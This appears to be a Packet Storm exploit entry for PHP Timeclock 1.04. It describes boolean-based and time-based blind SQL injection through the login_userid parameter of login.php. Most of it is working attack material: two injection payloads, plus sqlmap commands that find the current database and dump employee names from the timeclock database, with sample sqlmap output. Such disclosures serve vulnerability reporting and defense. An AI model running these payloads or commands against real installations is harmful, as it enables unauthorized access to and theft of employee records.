PHP Timeclock 1.04 SQL Injection

2021-05-08T00:00:00
ID PACKETSTORM:162505
Type packetstorm
Reporter Tyler Butler
Modified 2021-05-08T00:00:00

Description

                                        
                                            `# Exploit Title: PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection  
# Date: 03.05.2021  
# Exploit Author: Tyler Butler  
# Vendor Homepage: http://timeclock.sourceforge.net  
# Software Link: https://sourceforge.net/projects/timeclock/files/PHP%20Timeclock/PHP%20Timeclock%201.04/  
# Version: 1.04  
# Tested on: PHP 4.4.9/5.3.3 Apache 2.2 MySql 4.1.22/5  
  
  
Description: PHP Timeclock is vulnerable to both Boolean and Time Based SQL Injection on login.php via the login_userid parameter. This PoC shows how SQLmap can be used to exploit this vulnerability to dump database contents  
  
Boolean Based Payload: user' RLIKE (SELECT (CASE WHEN (8535=8535) THEN 0x75736572 ELSE 0x28 END))-- QwMo&login_password=pass  
Time Based Payload: user' AND (SELECT 4247 FROM (SELECT(SLEEP(5)))ztHm) AND 'WHmv'='WHmv&login_password=pass  
  
  
Steps to reproduce:  
1. Run sqlmap against a instance of PHP Timeclock  
2. Follow the instructions below for specific versions of MySQL  
  
  
MySQL >= 5.0.12:   
  
$ sqlmap -u http://localhost/login.php --method POST --data "login_userid=user&login_password=pass" -p login_userid --not-string="Warning" --dbms=MySQL --technique=TB --current-db  
---  
Parameter: login_userid (POST)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: login_userid=user' AND (SELECT 4247 FROM (SELECT(SLEEP(5)))ztHm) AND 'WHmv'='WHmv&login_password=pass  
---  
  
  
MySQL < 5: On versions using MySQL < 5, table names must be included as arguments as information_schema was not introduced into MySQL yet.  
  
$ sqlmap -u http://localhost/login.php --method POST --data "login_userid=user&login_password=pass" -p login_userid --not-string="Warning" --technique=B -D timeclock -T employees, -C empfullname --dump --dbms=MySQL -v   
---  
Parameter: login_userid (POST)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  
Payload: login_userid=user' RLIKE (SELECT (CASE WHEN (8535=8535) THEN 0x75736572 ELSE 0x28 END))-- QwMo&login_password=pass  
---  
`